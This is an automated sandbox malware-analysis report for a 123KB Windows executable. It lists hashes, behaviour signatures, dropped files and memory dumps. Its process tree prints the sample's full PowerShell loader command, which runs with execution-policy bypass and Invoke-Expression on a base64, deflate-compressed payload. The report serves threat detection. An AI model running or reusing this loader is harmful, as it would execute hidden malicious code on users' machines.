Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
11-05-2024 08:53
Static task
static1
Behavioral task
behavioral1
Sample
33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
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Target
33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe
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Size
123KB
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MD5
33c585ac269f682217e55bacc9eb9322
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SHA1
733ea43764f5db7ccb128dda4c51ee02228be97d
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SHA256
80b4d96426339604f1e3b10fc0ce58bd465568a3ed2ce810b807e0503307123e
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SHA512
2c349cbfdeb0066925a8c445ec2c18eabd206c832ee7c43ea8954ec25c8369673389323cde77d47a41e00a01ac01e346fce3e273e74896c44df678d2ffdd271e
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SSDEEP
3072:RA2sMWkzbJh1qZ9QW69hd1MMdxPe9N9uA0hu9TBfcXDc:rbJhs7QW69hd1MMdxPe9N9uA0hu9TBGc
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation 33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2600 powershell.exe 2600 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2600 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
33c585ac269f682217e55bacc9eb9322_JaffaCakes118.execmd.exedescription pid process target process PID 968 wrote to memory of 3908 968 33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe cmd.exe PID 968 wrote to memory of 3908 968 33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe cmd.exe PID 3908 wrote to memory of 2600 3908 cmd.exe powershell.exe PID 3908 wrote to memory of 2600 3908 cmd.exe powershell.exe PID 3908 wrote to memory of 2600 3908 cmd.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:968 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\37AA.tmp\37AB.tmp\37AC.bat C:\Users\Admin\AppData\Local\Temp\33c585ac269f682217e55bacc9eb9322_JaffaCakes118.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exeC:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NonI -NoProfile -Exec Bypass -Command -NoLogo "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"zVZtb9pIEP7OrxhZPtVusGMD5ZJYSE1J09KWNBdI0juEqsVeYMt611mvEyjlv98Ym7f0S9UPpxMS9q5n9pmXZ2bWfIAWvDYqgwvOO3EilbaMGVWC8nrNjTg37CEk2YizEFJNND7oXON36Ah9rRXcMaUzws85l6FV7vHkPIoUTdMqZExoiJ567DstF+NCFo+Sor9IdtvXSmoaajv4bVvaihJN+1N8RDtbivW51oqNMk33jNIknBWWbYVxT+mt9dvta6JITBFrq7zGQhcuOZnsSxZonQjdMF5X2Niy3lHt3Hc7n0ff0Dtw2pykKdwzUa99RZdDBJLKdq+yeETV5/EnOWEh4dsvKTgTCr4Ny8rgzULTwXBoXvWv+4qINGa6VfVfNk6C/a2BN2x5c/9NsJVPaShF9FzlcHerZQp5HubYLXNMeEqDvloszZ4MZ1S3ruiTUzpyRbVb7Kbl0xrs75VBvCQx44vh2RlGiCoUeJJqVh38rJ1zAcUuJhjpw+85MWQoeSlxGyV2UBrktqUQaI31IkvdREruCp24Uk1eVP1a3Q4Gd5JFw41wj4rI2g/Vc4EbGlL2SA9lVsjVcLrci4tWGV0FpspEX2rCW15wKdVbEk4tsyMiOgcm4CAjDc91G/WhvdzpbN9e1l41jwo9PHPMVKr7LKYtay/WFzmtcdPyTz2v6uPPW/8Gmw8fmYjy0OjQtvPIdxnnrEhwag1uMfbNxtDaYfqe56Fkby0RrEnv9DilCTgpNIqUI34elv9RzkuLfjHpG+ki64ds/0lom/nncjtQLlNq/S4bnhXbrxICGwhY/x0TwIEdA9eNpwGOVLD1Nm9DOidHhFPDOH/Tvnh7+e5958PHT92rz9d/3fT6t3f3X/7+h4zCiI4nU/ZtxmMhkwc8M3t8mi++e5iixqvmnyenhtuX7SlR50qRhWVXxpkI844KoWU+2ktQVGfY2y1rgB0X2xiYj4ca8AO6lKSZopvoOL0sRl+yGP4AbGaeBw59gNOavdqdrmFpjnPrjcB33fqPscSGHU4duT4Cvx21wIwG1gTbNqYrkjE4MZmzGE81I/cTFRM9tYeroLTPHAd7p1NYQlL0blgOSG7o0JwjHP4dgfl1FQDSEU2Yo/XY3nWJC0tLYJbLxc0a13YFzjek3GoPYLIEtBgskyHRTAYO19Bs4NvREbJpikg6MGc5YIQINAAoHUQVvqbiDOXSXGCaW8QDyDmGMU9tzO4m6iiBsOXCOH38cmugm0WJUvXIQnotMS1dIsiEKiRcvktVmyrNxjjANL0jnEXrEdkmnI9w1CLmclMtMS72aN1bpJrGbn78PR21OaNCBxUzdt/jMKVq3VksI0upchBPaKMKRld+R26T44brof0yThBsxNHjbq/zFpquH+RTNpJPKVz1bQNLWSDoJIDNXAQzycMQuxfySXBJIqwhYhlTrZP07PjYP625fvPE9b1T1/fPTrBQjk1hgF0xJeqhRU7enZAdNB/dF3TMBFvnyHwA5wrvC2Csx7wBjsBVmpCQFoP/sswmDvcEbwN6qrKKOW+Z8uzs4D7lVc2kZFzVm9fRAnw0POxeZcBuMqGxVN11o5VJmZrU7RKVTgnHvLRlsrDMpApeFQbFLQXLf46VhIt6zbLtKmxBctdQZf8alTcXc150mbziZKYdkXGkzcHUKPvHSbPheWWLXP0L\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2600
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\37AA.tmp\37AB.tmp\37AC.batFilesize
3KB
MD50aa3bb1c948dbc63509489e853b633bd
SHA1e29034d6dad8695540694b44c54c8ba656bae30e
SHA256de759c2e84ea017004653a905ad84e9b6ee4aa145db8a0a895d9a33c8a8748aa
SHA5120c1e5a86d71fe2f254921c1a589844d29ee8fe17fceeb53ee328ce5063eb2b659bf869d621f0ef1bc65722bcfa8b22082f644c425fab930810c62deef8120eb2
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q0vtk2by.u1k.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/2600-25-0x00000000707C0000-0x000000007080C000-memory.dmpFilesize
304KB
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memory/2600-48-0x00000000749A0000-0x0000000075150000-memory.dmpFilesize
7.7MB
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memory/2600-2-0x00000000749AE000-0x00000000749AF000-memory.dmpFilesize
4KB
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memory/2600-6-0x0000000004BF0000-0x0000000004C12000-memory.dmpFilesize
136KB
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memory/2600-8-0x0000000005480000-0x00000000054E6000-memory.dmpFilesize
408KB
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memory/2600-7-0x0000000004D10000-0x0000000004D76000-memory.dmpFilesize
408KB
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memory/2600-3-0x00000000024D0000-0x0000000002506000-memory.dmpFilesize
216KB
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memory/2600-18-0x00000000055F0000-0x0000000005944000-memory.dmpFilesize
3.3MB
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memory/2600-19-0x0000000005A90000-0x0000000005AAE000-memory.dmpFilesize
120KB
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memory/2600-20-0x0000000005AC0000-0x0000000005B0C000-memory.dmpFilesize
304KB
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memory/2600-21-0x00000000073E0000-0x0000000007A5A000-memory.dmpFilesize
6.5MB
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memory/2600-22-0x0000000005FD0000-0x0000000005FEA000-memory.dmpFilesize
104KB
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memory/2600-5-0x0000000004DA0000-0x00000000053C8000-memory.dmpFilesize
6.2MB
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memory/2600-4-0x00000000749A0000-0x0000000075150000-memory.dmpFilesize
7.7MB
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memory/2600-41-0x0000000006FD0000-0x0000000006FE1000-memory.dmpFilesize
68KB
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memory/2600-37-0x00000000749A0000-0x0000000075150000-memory.dmpFilesize
7.7MB
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memory/2600-24-0x00000000749A0000-0x0000000075150000-memory.dmpFilesize
7.7MB
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memory/2600-23-0x0000000006CE0000-0x0000000006D12000-memory.dmpFilesize
200KB
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memory/2600-38-0x0000000006E50000-0x0000000006E5A000-memory.dmpFilesize
40KB
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memory/2600-39-0x00000000749A0000-0x0000000075150000-memory.dmpFilesize
7.7MB
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memory/2600-40-0x00000000070D0000-0x0000000007166000-memory.dmpFilesize
600KB
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memory/2600-36-0x0000000006D60000-0x0000000006E03000-memory.dmpFilesize
652KB
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memory/2600-42-0x0000000007000000-0x000000000700E000-memory.dmpFilesize
56KB
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memory/2600-43-0x0000000007030000-0x0000000007044000-memory.dmpFilesize
80KB
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memory/2600-44-0x0000000007070000-0x000000000708A000-memory.dmpFilesize
104KB
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memory/2600-45-0x0000000007050000-0x0000000007058000-memory.dmpFilesize
32KB
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memory/2600-35-0x0000000006D20000-0x0000000006D3E000-memory.dmpFilesize
120KB